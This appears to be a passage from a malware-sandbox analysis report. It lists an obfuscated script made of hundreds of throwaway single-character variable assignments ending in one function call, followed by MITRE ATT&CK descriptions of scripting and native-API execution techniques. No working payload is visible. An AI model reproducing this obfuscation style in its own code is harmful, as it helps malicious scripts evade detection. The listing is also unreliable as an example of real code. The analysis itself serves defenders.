177	dplaxmo = "w";
178	dplaxmo = "u";
179	dplaxmo = "P";
180	dplaxmo = "e";
181	dplaxmo = "y";
182	dplaxmo = "C";
183	dplaxmo = "X";
184	dplaxmo = "G";
185	dplaxmo = "g";
186	dplaxmo = "o";
187	dplaxmo = "k";
188	dplaxmo = "F";
189	dplaxmo = "j";
190	dplaxmo = "C";
191	dplaxmo = "I";
192	dplaxmo = "I";
193	dplaxmo = "R";
194	dplaxmo = "O";
195	dplaxmo = "K";
196	dplaxmo = "h";
197	dplaxmo = "v";
198	dplaxmo = "D";
199	dplaxmo = "m";
200	dplaxmo = "b";
201	dplaxmo = "w";
202	dplaxmo = ".";
203	opnpnhk = "m";
204	opnpnhk = "q";
205	opnpnhk = "o";
206	opnpnhk = "j";
207	opnpnhk = "B";
208	opnpnhk = "Q";
209	opnpnhk = "n";
210	opnpnhk = "k";
211	opnpnhk = "l";
212	opnpnhk = "z";
213	opnpnhk = "U";
214	qcgzl = "C";
215	qcgzl = "z";
216	qcgzl = "V";
217	qcgzl = "A";
218	qcgzl = "H";
219	qcgzl = "C";
220	qcgzl = "H";
221	qcgzl = "K";
222	qcgzl = "h";
223	qcgzl = "q";
224	qcgzl = "h";
225	qcgzl = "L";
226	qcgzl = "k";
227	qcgzl = "X";
228	qcgzl = "b";
229	qcgzl = "C";
230	qcgzl = "y";
231	qcgzl = "U";
232	qcgzl = "B";
233	qcgzl = "q";
234	qcgzl = "V";
235	qcgzl = "g";
236	qcgzl = "B";
237	qcgzl = "l";
238	qcgzl = "R";
239	qcgzl = "E";
240	qcgzl = "O";
241	qcgzl = "c";
242	qcgzl = "b";
243	qcgzl = "b";
244	qcgzl = "j";
245	qcgzl = "O";
246	qcgzl = "0";
247	ttpwndmos = "o";
248	ttpwndmos = "E";
249	ttpwndmos = "k";
250	ttpwndmos = "D";
251	ttpwndmos = "Q";
252	ttpwndmos = "y";
253	ttpwndmos = "H";
254	ttpwndmos = "F";
255	ttpwndmos = "h";
256	ttpwndmos = "L";
257	ttpwndmos = "G";
258	ttpwndmos = "W";
259	ttpwndmos = "g";
260	ttpwndmos = "J";
261	ttpwndmos = "Q";
262	ttpwndmos = "C";
263	ttpwndmos = "y";
264	ttpwndmos = "K";
265	ttpwndmos = "T";
266	ttpwndmos = "S";
267	ttpwndmos = "e";
268	ttpwndmos = "E";
269	ttpwndmos = "N";
270	ttpwndmos = "u";
271	ttpwndmos = "m";
272	ttpwndmos = "H";
273	ttpwndmos = "u";
274	ttpwndmos = "o";
275	ttpwndmos = "i";
276	ttpwndmos = "B";
277	ttpwndmos = "P";
278	ttpwndmos = "s";
279	ttpwndmos = "Q";
280	ttpwndmos = "T";
281	ttpwndmos = "T";
282	ttpwndmos = "A";
283	ttpwndmos = "1";
284	cgdrdyhv = "b";
285	cgdrdyhv = "y";
286	cgdrdyhv = "p";
287	cgdrdyhv = "T";
288	cgdrdyhv = "A";
289	cgdrdyhv = "Z";
290	cgdrdyhv = "s";
291	cgdrdyhv = "T";
292	cgdrdyhv = "M";
293	cgdrdyhv = "g";
294	cgdrdyhv = "A";
295	cgdrdyhv = "n";
296	cgdrdyhv = "j";
297	cgdrdyhv = "T";
298	cgdrdyhv = "L";
299	cgdrdyhv = "O";
300	cgdrdyhv = "l";
301	cgdrdyhv = "e";
302	cgdrdyhv = "e";
303	cgdrdyhv = "e";
304	cgdrdyhv = "t";
305	cgdrdyhv = "m";
306	cgdrdyhv = "Y";
307	gvndnefz = "I";
308	gvndnefz = "Z";
309	gvndnefz = "w";
310	gvndnefz = "L";
311	gvndnefz = "a";
312	ylbrqtnl = "g";
313	ylbrqtnl = "Z";
314	ylbrqtnl = "A";
315	ylbrqtnl = "y";
316	ylbrqtnl = "l";
317	ylbrqtnl = "O";
318	ylbrqtnl = "g";
319	ylbrqtnl = "F";
320	ylbrqtnl = "q";
321	ylbrqtnl = "B";
322	ylbrqtnl = "L";
323	ylbrqtnl = "U";
324	ylbrqtnl = "j";
325	ylbrqtnl = "c";
326	ylbrqtnl = "s";
327	ylbrqtnl = "x";
328	ylbrqtnl = "l";
329	ylbrqtnl = "B";
330	ylbrqtnl = "h";
331	ylbrqtnl = "g";
332	ylbrqtnl = "y";
333	ylbrqtnl = "q";
334	ylbrqtnl = "T";
335	ylbrqtnl = "k";
336	ylbrqtnl = "T";
337	ylbrqtnl = "L";
338	ylbrqtnl = "A";
339	ylbrqtnl = "u";
340	ylbrqtnl = "O";
341	ylbrqtnl = "u";
342	ylbrqtnl = "V";
343	ylbrqtnl = "W";
344	ylbrqtnl = "T";
345	cytmcu = "y";
346	cytmcu = "e";
347	cytmcu = "e";
348	cytmcu = "x";
349	cytmcu = "z";
350	cytmcu = "p";
351	cytmcu = "C";
352	cytmcu = "f";
353	cytmcu = "\"";
354	ocvasvwos = "E";
355	ocvasvwos = "v";
356	ocvasvwos = "Q";
357	ocvasvwos = "A";
358	ocvasvwos = "C";
359	ocvasvwos = "M";
360	ocvasvwos = "V";
361	ocvasvwos = "P";
362	ocvasvwos = "H";
363	ocvasvwos = "l";
364	ocvasvwos = "t";
365	ocvasvwos = "u";
366	ocvasvwos = "d";
367	ocvasvwos = "q";
368	ocvasvwos = "m";
369	fhfmljgbh = "u";
370	fhfmljgbh = "K";
371	fhfmljgbh = "L";
372	fhfmljgbh = "j";
373	fhfmljgbh = "U";
374	fhfmljgbh = "r";
375	fhfmljgbh = "q";
376	fhfmljgbh = "M";
377	fhfmljgbh = "A";
378	fhfmljgbh = "w";
379	fhfmljgbh = "m";
380	fhfmljgbh = "u";
381	fhfmljgbh = "k";
382	fhfmljgbh = "z";
383	fhfmljgbh = "h";
384	fhfmljgbh = "M";
385	fhfmljgbh = "K";
386	fhfmljgbh = "T";
387	fhfmljgbh = "C";
388	fhfmljgbh = "N";
389	fhfmljgbh = "N";
390	fhfmljgbh = "P";
391	fhfmljgbh = "x";
392	ywskr = "T";
393	ywskr = "E";
394	ywskr = "w";
395	ywskr = "m";
396	ywskr = "V";
397	ywskr = "j";
398	ywskr = "C";
399	ywskr = "Z";
400	ywskr = "A";
401	ywskr = "J";
402	ywskr = "V";
403	ywskr = "n";
404	ywskr = "T";
405	ywskr = "J";
406	ywskr = "V";
407	ywskr = "D";
408	ywskr = "n";
409	ywskr = "A";
410	ywskr = "i";
411	ywskr = "C";
412	ywskr = "y";
413	ywskr = "r";
414	ywskr = "w";
415	ywskr = "P";
416	ywskr = "o";
417	ywskr = "I";
418	ywskr = "x";
419	ywskr = "E";
420	ywskr = "x";
421	ywskr = "y";
422	ywskr = "h";
423	ywskr = "N";
424	ywskr = "G";
425	ywskr = "z";
426	ywskr = "G";
427	ywskr = "J";
428	ywskr = "Y";
429	ywskr = "r";
430	ywskr = "Q";
431	ywskr = "D";
432	ywskr = "o";
433	ywskr = "_";
434	xxxxxbir = "E";
435	xxxxxbir = "l";
436	xxxxxbir = "X";
437	xxxxxbir = "G";
438	xxxxxbir = "2";
439	mbeyh = "B";
440	mbeyh = "f";
441	mbeyh = "Z";
442	mbeyh = "l";
443	mbeyh = "Y";
444	mbeyh = "a";
445	mbeyh = "G";
446	mbeyh = "U";
447	mbeyh = "S";
448	mbeyh = "p";
449	mbeyh = "V";
450	mbeyh = "I";
451	mbeyh = "U";
452	mbeyh = "k";
453	mbeyh = "I";
454	mbeyh = "S";
455	mbeyh = "X";
456	mbeyh = "H";
457	mbeyh = "e";
458	mbeyh = "F";
459	mbeyh = "J";
460	mbeyh = "H";
461	mbeyh = "q";
462	mbeyh = "Q";
463	mbeyh = "K";
464	mbeyh = "F";
465	mbeyh = "b";
466	mbeyh = "o";
467	mbeyh = "H";
468	mbeyh = "z";
469	mbeyh = "c";
470	mbeyh = "s";
471	mbeyh = "H";
472	mbeyh = "s";
473	mbeyh = "K";
474	mbeyh = "R";
475	mbeyh = "c";
476	mbeyh = "S";
477	mbeyh = "h";
478	mbeyh = "h";
479	hrgqxfv = "u";
480	hrgqxfv = "@";
481	cekjhtwxs = "t";
482	cekjhtwxs = "l";
483	cekjhtwxs = "y";
484	cekjhtwxs = "A";
485	cekjhtwxs = "D";
486	cekjhtwxs = "p";
487	cekjhtwxs = "m";
488	cekjhtwxs = "k";
489	cekjhtwxs = "r";
490	cekjhtwxs = "p";
491	cekjhtwxs = "f";
492	cekjhtwxs = "K";
493	cekjhtwxs = "B";
494	cekjhtwxs = "t";
495	cekjhtwxs = "W";
496	cekjhtwxs = "m";
497	cekjhtwxs = "O";
498	cekjhtwxs = "N";
499	cekjhtwxs = "z";
500	cekjhtwxs = "a";
501	cekjhtwxs = "T";
502	cekjhtwxs = "o";
503	cekjhtwxs = "G";
504	cekjhtwxs = "h";
505	cekjhtwxs = "G";
506	cekjhtwxs = "%";
507	mrisu = "i";
508	mrisu = "q";
509	mrisu = "h";
510	mrisu = "v";
511	mrisu = "m";
512	mrisu = "A";
513	mrisu = "q";
514	mrisu = "O";
515	mrisu = "q";
516	mrisu = "x";
517	mrisu = "x";
518	mrisu = "u";
519	mrisu = "o";
520	mrisu = "q";
521	mrisu = "t";
522	mrisu = "a";
523	mrisu = "G";
524	mrisu = "R";
525	mrisu = "Y";
526	mrisu = "L";
527	mrisu = "Q";
528	mrisu = "C";
529	mrisu = "G";
530	mrisu = "z";
531	mrisu = "L";
532	mrisu = "O";
533	mrisu = "j";
534	mrisu = "9";
535	xlwzaqt = "h";
536	xlwzaqt = "a";
537	xlwzaqt = "S";
538	xlwzaqt = "e";
539	xlwzaqt = "o";
540	xlwzaqt = "X";
541	xlwzaqt = "R";
542	xlwzaqt = "J";
543	xlwzaqt = "e";
544	xlwzaqt = "F";
545	xlwzaqt = "H";
546	xlwzaqt = "7";
547	uzucpug = "c";
548	uzucpug = "r";
549	uzucpug = "E";
550	uzucpug = "g";
551	uzucpug = "i";
552	uzucpug = "c";
553	uzucpug = "O";
554	uzucpug = "Z";
555	uzucpug = "w";
556	uzucpug = "I";
557	uzucpug = "x";
558	uzucpug = "P";
559	uzucpug = "T";
560	uzucpug = "i";
561	uzucpug = "B";
562	uzucpug = "X";
563	uzucpug = "L";
564	uzucpug = "q";
565	uzucpug = "s";
566	uzucpug = "F";
567	uzucpug = "M";
568	uzucpug = "s";
569	uzucpug = "R";
570	uzucpug = "v";
571	uzucpug = "y";
572	uzucpug = "j";
573	uzucpug = "C";
574	uzucpug = "o";
575	uzucpug = "M";
576	uzucpug = "G";
577	uzucpug = "F";
578	uzucpug = "E";
579	uzucpug = "B";
580	uzucpug = "p";
581	iqixld = "Q";
582	bxmkcqpo = "k";
583	bxmkcqpo = "q";
584	bxmkcqpo = "u";
585	bxmkcqpo = "j";
586	bxmkcqpo = "l";
587	bxmkcqpo = "v";
588	bxmkcqpo = "X";
589	bxmkcqpo = "m";
590	bxmkcqpo = "c";
591	bxmkcqpo = "i";
592	bxmkcqpo = "G";
593	bxmkcqpo = "u";
594	bxmkcqpo = "Z";
595	bxmkcqpo = "y";
596	bxmkcqpo = "S";
597	bxmkcqpo = "Y";
598	bxmkcqpo = "T";
599	bxmkcqpo = "t";
600	bxmkcqpo = "L";
601	bxmkcqpo = "Z";
602	bxmkcqpo = "e";
603	bxmkcqpo = "X";
604	bxmkcqpo = "L";
605	bxmkcqpo = "z";
606	bxmkcqpo = "B";
607	bxmkcqpo = "U";
608	bxmkcqpo = "O";
609	bxmkcqpo = "Q";
610	bxmkcqpo = "U";
611	bxmkcqpo = "Q";
612	bxmkcqpo = "X";
613	bxmkcqpo = "f";
614	hioiju = "z";
615	hioiju = "l";
616	hioiju = "J";
617	hioiju = "L";
618	hioiju = "z";
619	hioiju = "D";
620	hioiju = "l";
621	hioiju = "D";
622	hioiju = "V";
623	hioiju = "e";
624	hioiju = "g";
625	hioiju = "w";
626	hioiju = "g";
627	hioiju = "O";
628	hioiju = "d";
629	hioiju = "M";
630	hioiju = "g";
631	hioiju = "t";
632	hioiju = "T";
633	hioiju = "y";
634	hioiju = "O";
635	hioiju = "Q";
636	hioiju = "u";
637	hioiju = "Z";
638	hioiju = "I";
639	hioiju = "q";
640	hioiju = "C";
641	hioiju = "z";
642	hioiju = "M";
643	hioiju = "n";
644	hioiju = "e";
645	hioiju = "A";
646	hioiju = "v";
647	hioiju = "d";
648	hioiju = "z";
649	hioiju = "A";
650	hioiju = "Q";
651	hioiju = "M";
652	hioiju = "a";
653	hioiju = "h";
654	hioiju = "d";
655	hioiju = "j";
656	qxvmak = "u";
657	qxvmak = "I";
658	qxvmak = "g";
659	qxvmak = "j";
660	qxvmak = "H";
661	qxvmak = "q";
662	qxvmak = "q";
663	qxvmak = "b";
664	qxvmak = "J";
665	qxvmak = "i";
666	qxvmak = "v";
667	qxvmak = "V";
668	qxvmak = "d";
669	qxvmak = "E";
670	qxvmak = "z";
671	qxvmak = "C";
672	qxvmak = "g";
673	ywnru = "F";
674	ywnru = "h";
675	ywnru = "o";
676	ywnru = "e";
677	ywnru = "U";
678	ywnru = "E";
679	ywnru = "k";
680	ywnru = "C";
681	ywnru = "d";
682	ywnru = "X";
683	ywnru = "L";
684	ywnru = "C";
685	ywnru = "u";
686	ywnru = "G";
687	ywnru = "g";
688	ywnru = "r";
689	ywnru = "A";
690	ywnru = "w";
691	ywnru = "t";
692	ywnru = "L";
693	ywnru = "b";
694	ywnru = "W";
695	ywnru = "M";
696	ywnru = "g";
697	ywnru = "l";
698	ywnru = "Z";
699	ywnru = "F";
700	ywnru = "G";
701	ywnru = "p";
702	ywnru = "k";
703	ywnru = "w";
704	ywnru = "y";
705	ywnru = "P";
706	ywnru = "m";
707	ywnru = "R";
708	ywnru = "E";
709	ywnru = "t";
710	ywnru = "S";
711	ywnru = "E";
712	xwhqt = "K";
713	xwhqt = "L";
714	xwhqt = "S";
715	xwhqt = "O";
716	xwhqt = "g";
717	xwhqt = "f";
718	xwhqt = "X";
719	xwhqt = "f";
720	xwhqt = "D";
721	xwhqt = "H";
722	xwhqt = "j";
723	xwhqt = "S";
724	xwhqt = "y";
725	xwhqt = "u";
726	xwhqt = "a";
727	xwhqt = "A";
728	xwhqt = "O";
729	xwhqt = "Q";
730	xwhqt = "V";
731	xwhqt = "w";
732	xwhqt = "A";
733	xwhqt = "n";
734	xwhqt = "j";
735	xwhqt = "K";
736	xwhqt = "F";
737	xwhqt = "j";
738	xwhqt = "c";
739	xwhqt = "d";
740	xwhqt = "Y";
741	xwhqt = "j";
742	xwhqt = "n";
743	xwhqt = "V";
744	xwhqt = "s";
745	qhdtom = "L";
746	qhdtom = "K";
747	qhdtom = "T";
748	qhdtom = "F";
749	qhdtom = "F";
750	qhdtom = "G";
751	qhdtom = "v";
752	qhdtom = "y";
753	qhdtom = "t";
754	qhdtom = "Q";
755	qhdtom = "t";
756	qhdtom = "p";
757	qhdtom = "y";
758	qhdtom = "d";
759	qhdtom = "O";
760	qhdtom = "R";
761	qhdtom = "f";
762	qhdtom = "z";
763	qhdtom = "j";
764	qhdtom = "j";
765	qhdtom = "y";
766	qhdtom = "S";
767	qhdtom = "O";
768	qhdtom = "S";
769	qhdtom = "e";
770	qhdtom = "o";
771	qhdtom = "j";
772	qhdtom = "x";
773	qhdtom = "u";
774	qhdtom = "g";
775	qhdtom = "v";
776	qhdtom = "F";
777	qhdtom = "w";
778	qhdtom = "c";
779	qhdtom = "e";
780	qhdtom = "p";
781	qhdtom = "u";
782	omtvv = "A";
783	omtvv = "K";
784	omtvv = "t";
785	omtvv = "H";
786	omtvv = "O";
787	omtvv = "M";
788	omtvv = "t";
789	omtvv = "q";
790	kmahauyp = "v";
791	kmahauyp = "m";
792	kmahauyp = "B";
793	kmahauyp = "y";
794	kmahauyp = "b";
795	htavceon = "N";
796	htavceon = "d";
797	htavceon = "z";
798	htavceon = "X";
799	htavceon = "a";
800	htavceon = "z";
801	htavceon = "g";
802	htavceon = "I";
803	htavceon = "K";
804	htavceon = "n";
805	htavceon = "i";
806	paonpw = "S";
807	paonpw = "S";
808	paonpw = "O";
809	paonpw = "I";
810	paonpw = "H";
811	paonpw = "q";
812	paonpw = "B";
813	paonpw = "Z";
814	paonpw = "T";
815	paonpw = "s";
816	paonpw = "C";
817	paonpw = "q";
818	paonpw = "q";
819	paonpw = "w";
820	paonpw = "h";
821	paonpw = "b";
822	paonpw = "W";
823	paonpw = "u";
824	paonpw = "S";
825	paonpw = "P";
826	paonpw = "k";
827	ninkm = "m";
828	ninkm = "J";
829	ninkm = "v";
830	ninkm = "P";
831	ninkm = "z";
832	ninkm = "C";
833	ninkm = "M";
834	ninkm = "E";
835	ninkm = "E";
836	ninkm = "R";
837	ninkm = "F";
838	ninkm = "N";
839	ninkm = "V";
840	ninkm = "y";
841	ninkm = "U";
842	ninkm = "K";
843	ninkm = "F";
844	ninkm = "g";
845	ninkm = "t";
846	ninkm = "K";
847	ninkm = "b";
848	ninkm = "V";
849	ninkm = "V";
850	ninkm = "u";
851	ninkm = "L";
852	ninkm = "y";
853	ninkm = "v";
854	ninkm = "U";
855	ninkm = "b";
856	ninkm = "e";
857	ninkm = "K";
858	aclgvk = "b";
859	aclgvk = "c";
860	aclgvk = "g";
861	aclgvk = "p";
862	aclgvk = "U";
863	aclgvk = "C";
864	aclgvk = "U";
865	aclgvk = "T";
866	aclgvk = "j";
867	aclgvk = "l";
868	aclgvk = "r";
869	aclgvk = "U";
870	aclgvk = "S";
871	aclgvk = "L";
872	cdoqmunhh = "Z";
873	cdoqmunhh = "Z";
874	cdoqmunhh = "r";
875	cdoqmunhh = "E";
876	cdoqmunhh = "V";
877	cdoqmunhh = "j";
878	cdoqmunhh = "L";
879	cdoqmunhh = "N";
880	cdoqmunhh = "j";
881	cdoqmunhh = "s";
882	cdoqmunhh = "x";
883	cdoqmunhh = "J";
884	cdoqmunhh = "I";
885	ocaninvcx = "V";
886	ocaninvcx = "e";
887	ocaninvcx = "M";
888	ocaninvcx = "k";
889	ocaninvcx = "p";
890	ocaninvcx = "c";
891	ocaninvcx = "N";
892	ocaninvcx = "d";
893	ocaninvcx = "K";
894	ocaninvcx = "K";
895	ocaninvcx = "D";
896	ocaninvcx = "c";
897	ocaninvcx = "L";
898	ocaninvcx = "G";
899	ocaninvcx = "w";
900	ocaninvcx = "H";
901	ocaninvcx = "I";
902	ocaninvcx = "W";
903	ocaninvcx = "5";
904	jhkqxllnq = "d";
905	jhkqxllnq = "j";
906	jhkqxllnq = "b";
907	jhkqxllnq = "G";
908	jhkqxllnq = "e";
909	hgridcdwr = "k";
910	hgridcdwr = "c";
911	hgridcdwr = "I";
912	hgridcdwr = "E";
913	hgridcdwr = "P";
914	hgridcdwr = "B";
915	hgridcdwr = "S";
916	hgridcdwr = "a";
917	hgridcdwr = "L";
918	hgridcdwr = "p";
919	hgridcdwr = "W";
920	hgridcdwr = "W";
921	hgridcdwr = "w";
922	hgridcdwr = "z";
923	hgridcdwr = "r";
924	hgridcdwr = "I";
925	hgridcdwr = "o";
926	hgridcdwr = "d";
927	hgridcdwr = "p";
928	hgridcdwr = "l";
929	hgridcdwr = "V";
930	hgridcdwr = "e";
931	hgridcdwr = "a";
932	hgridcdwr = "W";
933	hgridcdwr = "M";
934	hgridcdwr = "A";
935	hgridcdwr = "H";
936	hgridcdwr = "D";
937	hgridcdwr = "U";
938	hgridcdwr = "h";
939	hgridcdwr = "n";
940	hgridcdwr = "q";
941	hgridcdwr = "c";
942	hgridcdwr = "K";
943	hgridcdwr = "A";
944	hgridcdwr = "S";
945	pmfvrgrs = "E";
946	pmfvrgrs = "8";
947	ockcl = "C";
948	ockcl = "R";
949	ockcl = "A";
950	ockcl = "L";
951	ockcl = "g";
952	ockcl = "j";
953	ockcl = "c";
954	ockcl = "B";
955	ockcl = "\\";
956	dquaxhan = "Q";
957	dquaxhan = "q";
958	dquaxhan = "T";
959	dquaxhan = "r";
960	dquaxhan = "S";
961	dquaxhan = "n";
962	dquaxhan = "p";
963	dquaxhan = "C";
964	dquaxhan = "x";
965	dquaxhan = "M";
966	dquaxhan = "s";
967	dquaxhan = "P";
968	dquaxhan = "C";
969	dquaxhan = "P";
970	dquaxhan = "n";
971	dquaxhan = "k";
972	dquaxhan = "D";
973	dquaxhan = "T";
974	dquaxhan = "I";
975	dquaxhan = "s";
976	dquaxhan = "Q";
977	dquaxhan = "A";
978	dquaxhan = "e";
979	dquaxhan = "k";
980	dquaxhan = "t";
981	dquaxhan = "F";
982	dquaxhan = "G";
983	dquaxhan = "P";
984	dquaxhan = "d";
985	dquaxhan = "v";
986	dquaxhan = "s";
987	dquaxhan = "W";
988	puvas = "t";
989	puvas = "e";
990	puvas = "W";
991	puvas = "f";
992	puvas = "h";
993	puvas = "N";
994	bvkja = "F";
995	bvkja = "T";
996	bvkja = "d";
997	bvkja = "o";
998	bvkja = "c";
999	bvkja = "a";
1000	bvkja = "n";
1001	bvkja = "R";
1002	bvkja = "V";
1003	bvkja = "W";
1004	bvkja = "m";
1005	bvkja = "L";
1006	bvkja = "X";
1007	bvkja = "u";
1008	bvkja = "n";
1009	bvkja = "z";
1010	bvkja = "D";
1011	bvkja = "a";
1012	bvkja = "d";
1013	bvkja = "r";
1014	bvkja = "y";
1015	bvkja = "t";
1016	bvkja = "Y";
1017	bvkja = "l";
1018	bvkja = "y";
1019	bvkja = "p";
1020	bvkja = "H";
1021	bvkja = "T";
1022	bvkja = "f";
1023	bvkja = "W";
1024	bvkja = "W";
1025	bvkja = "A";
1026	bvkja = "Y";
1027	bvkja = "h";
1028	bvkja = "i";
1029	bvkja = "R";
1030	bvkja = "C";
1031	bvkja = "A";
1032	bvkja = "s";
1033	bvkja = "g";
1034	bvkja = "N";
1035	bvkja = "o";
1036	bvkja = "s";
1037	bvkja = "G";
1038	bvkja = " ";
1039	akxul = "n";
1040	akxul = "4";
1041	ppsdacgfi = "Z";
1042	ppsdacgfi = "N";
1043	ppsdacgfi = "Y";
1044	ppsdacgfi = "q";
1045	ppsdacgfi = "J";
1046	ppsdacgfi = "V";
1047	ppsdacgfi = "X";
1048	ppsdacgfi = "g";
1049	ppsdacgfi = "W";
1050	ppsdacgfi = "b";
1051	ppsdacgfi = "r";
1052	ppsdacgfi = "b";
1053	ppsdacgfi = "g";
1054	ppsdacgfi = "h";
1055	ppsdacgfi = "S";
1056	ppsdacgfi = "Z";
1057	ppsdacgfi = "b";
1058	ppsdacgfi = "T";
1059	ppsdacgfi = "J";
1060	ppsdacgfi = "f";
1061	ppsdacgfi = "Z";
1062	ppsdacgfi = "j";
1063	ppsdacgfi = "z";
1064	ppsdacgfi = "O";
1065	ppsdacgfi = "I";
1066	ppsdacgfi = "A";
1067	ppsdacgfi = "y";
1068	ppsdacgfi = "G";
1069	ppsdacgfi = "u";
1070	ppsdacgfi = "r";
1071	ppsdacgfi = "D";
1072	ppsdacgfi = "Z";
1073	ppsdacgfi = "/";
1074	vupycc = "X";
1075	vupycc = "h";
1076	vupycc = "Y";
1077	vupycc = "U";
1078	vupycc = "Q";
1079	vupycc = "K";
1080	vupycc = "P";
1081	vupycc = "u";
1082	vupycc = "f";
1083	vupycc = "N";
1084	vupycc = "Q";
1085	vupycc = "b";
1086	vupycc = "w";
1087	vupycc = "a";
1088	vupycc = "p";
1089	vupycc = "c";
1090	vupycc = "o";
1091	vupycc = "P";
1092	vupycc = "K";
1093	vupycc = "c";
1094	vupycc = "e";
1095	vupycc = "u";
1096	vupycc = "d";
1097	vupycc = "x";
1098	vupycc = "J";
1099	vupycc = "x";
1100	vupycc = "P";
1101	vupycc = "M";
1102	vupycc = "B";
1103	vupycc = "V";
1104	vupycc = "g";
1105	vupycc = "K";
1106	vupycc = "K";
1107	vupycc = "i";
1108	vupycc = "B";
1109	vupycc = "w";
1110	vupycc = "H";
1111	vupycc = "E";
1112	vupycc = "P";
1113	hurmftuyy = "J";
1114	hurmftuyy = "X";
1115	hurmftuyy = "x";
1116	hurmftuyy = "t";
1117	yhrmtvxbj = "x";
1118	yhrmtvxbj = "t";
1119	yhrmtvxbj = "A";
1120	yhrmtvxbj = "e";
1121	yhrmtvxbj = "B";
1122	yhrmtvxbj = "Q";
1123	yhrmtvxbj = "S";
1124	yhrmtvxbj = "X";
1125	yhrmtvxbj = "j";
1126	yhrmtvxbj = "g";
1127	yhrmtvxbj = "A";
1128	yhrmtvxbj = "O";
1129	yhrmtvxbj = "h";
1130	yhrmtvxbj = "x";
1131	yhrmtvxbj = "V";
1132	yhrmtvxbj = "a";
1133	yhrmtvxbj = "n";
1134	wiibaxvy = "q";
1135	wiibaxvy = "z";
1136	wiibaxvy = "v";
1137	rhoxjq = "B";
1138	rhoxjq = "v";
1139	rhoxjq = "X";
1140	rhoxjq = "y";
1141	rhoxjq = "l";
1142	rhoxjq = "f";
1143	rhoxjq = "k";
1144	rhoxjq = "r";
1145	rhoxjq = "u";
1146	rhoxjq = "R";
1147	rhoxjq = "N";
1148	rhoxjq = "Q";
1149	rhoxjq = "r";
1150	rhoxjq = "O";
1151	rhoxjq = "Z";
1152	rhoxjq = "w";
1153	rhoxjq = "Y";
1154	rhoxjq = "A";
1155	rhoxjq = "H";
1156	rhoxjq = "o";
1157	rhoxjq = "s";
1158	rhoxjq = "c";
1159	efhcg = "I";
1160	efhcg = "r";
1161	efhcg = "u";
1162	efhcg = "&";
1163	expetodl = "q";
1164	expetodl = "j";
1165	expetodl = "i";
1166	expetodl = "a";
1167	expetodl = "i";
1168	expetodl = "q";
1169	expetodl = "K";
1170	expetodl = "W";
1171	expetodl = "w";
1172	wekdh = "Q";
1173	wekdh = "B";
1174	wekdh = "z";
1175	wekdh = "Z";
1176	wekdh = "d";
1177	wekdh = "I";
1178	wekdh = "q";
1179	wekdh = "o";
1180	wekdh = "Z";
1181	wekdh = "Y";
1182	wekdh = "C";
1183	wekdh = "P";
1184	wekdh = "C";
1185	wekdh = "K";
1186	wekdh = "Q";
1187	wekdh = "v";
1188	wekdh = "t";
1189	wekdh = "Y";
1190	wekdh = "d";
1191	wekdh = "t";
1192	wekdh = "X";
1193	wekdh = "u";
1194	wekdh = "F";
1195	wekdh = "g";
1196	wekdh = "d";
1197	spscpa = "b";
1198	spscpa = "a";
1199	spscpa = "a";
1200	spscpa = "k";
1201	spscpa = "w";
1202	spscpa = "L";
1203	spscpa = "k";
1204	spscpa = "C";
1205	vwibxi = "h";
1206	vwibxi = "e";
1207	vwibxi = "e";
1208	vwibxi = "v";
1209	vwibxi = "M";
1210	vwibxi = "z";
1211	vwibxi = "m";
1212	vwibxi = "n";
1213	vwibxi = "G";
1214	vwibxi = "d";
1215	vwibxi = "d";
1216	vwibxi = "z";
1217	vwibxi = "I";
1218	vwibxi = "C";
1219	vwibxi = "t";
1220	vwibxi = "q";
1221	vwibxi = "e";
1222	vwibxi = "k";
1223	vwibxi = "F";
1224	vwibxi = "Z";
1225	vwibxi = "I";
1226	vwibxi = "g";
1227	vwibxi = "Z";
1228	vwibxi = "n";
1229	vwibxi = "V";
1230	vwibxi = "f";
1231	vwibxi = "h";
1232	vwibxi = "D";
1233	vwibxi = "g";
1234	vwibxi = "E";
1235	vwibxi = "r";
1236	vwibxi = "v";
1237	vwibxi = "q";
1238	vwibxi = "C";
1239	vwibxi = "z";
1240	vwibxi = "y";
1241	vwibxi = "H";
1242	bjwroby = "U";
1243	bjwroby = "D";
1244	bjwroby = "p";
1245	bjwroby = "D";
1246	bjwroby = "I";
1247	bjwroby = "X";
1248	bjwroby = "w";
1249	bjwroby = "n";
1250	bjwroby = "P";
1251	bjwroby = "S";
1252	bjwroby = "F";
1253	glwnmu = "e";
1254	glwnmu = "o";
1255	glwnmu = "J";
1256	glwnmu = "n";
1257	glwnmu = "s";
1258	glwnmu = "s";
1259	glwnmu = "b";
1260	glwnmu = "E";
1261	glwnmu = "o";
1262	glwnmu = "C";
1263	glwnmu = "N";
1264	glwnmu = "6";
1265	amauruegu = "u";
1266	amauruegu = "u";
1267	amauruegu = "j";
1268	amauruegu = "H";
1269	amauruegu = "Z";
1270	amauruegu = "i";
1271	amauruegu = "S";
1272	amauruegu = "F";
1273	amauruegu = "P";
1274	amauruegu = "k";
1275	amauruegu = "b";
1276	amauruegu = "i";
1277	amauruegu = "R";
1278	amauruegu = "S";
1279	amauruegu = "t";
1280	amauruegu = "a";
1281	amauruegu = "q";
1282	amauruegu = "f";
1283	amauruegu = "F";
1284	amauruegu = "b";
1285	amauruegu = "V";
1286	amauruegu = "P";
1287	amauruegu = "v";
1288	amauruegu = "f";
1289	amauruegu = "b";
1290	amauruegu = "i";
1291	amauruegu = "S";
1292	amauruegu = "l";
1293	amauruegu = "X";
1294	amauruegu = "w";
1295	amauruegu = "h";
1296	amauruegu = "a";
1297	amauruegu = "E";
1298	amauruegu = "W";
1299	amauruegu = "S";
1300	amauruegu = "-";
1301	ewwvwf ( );	ewwvwf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
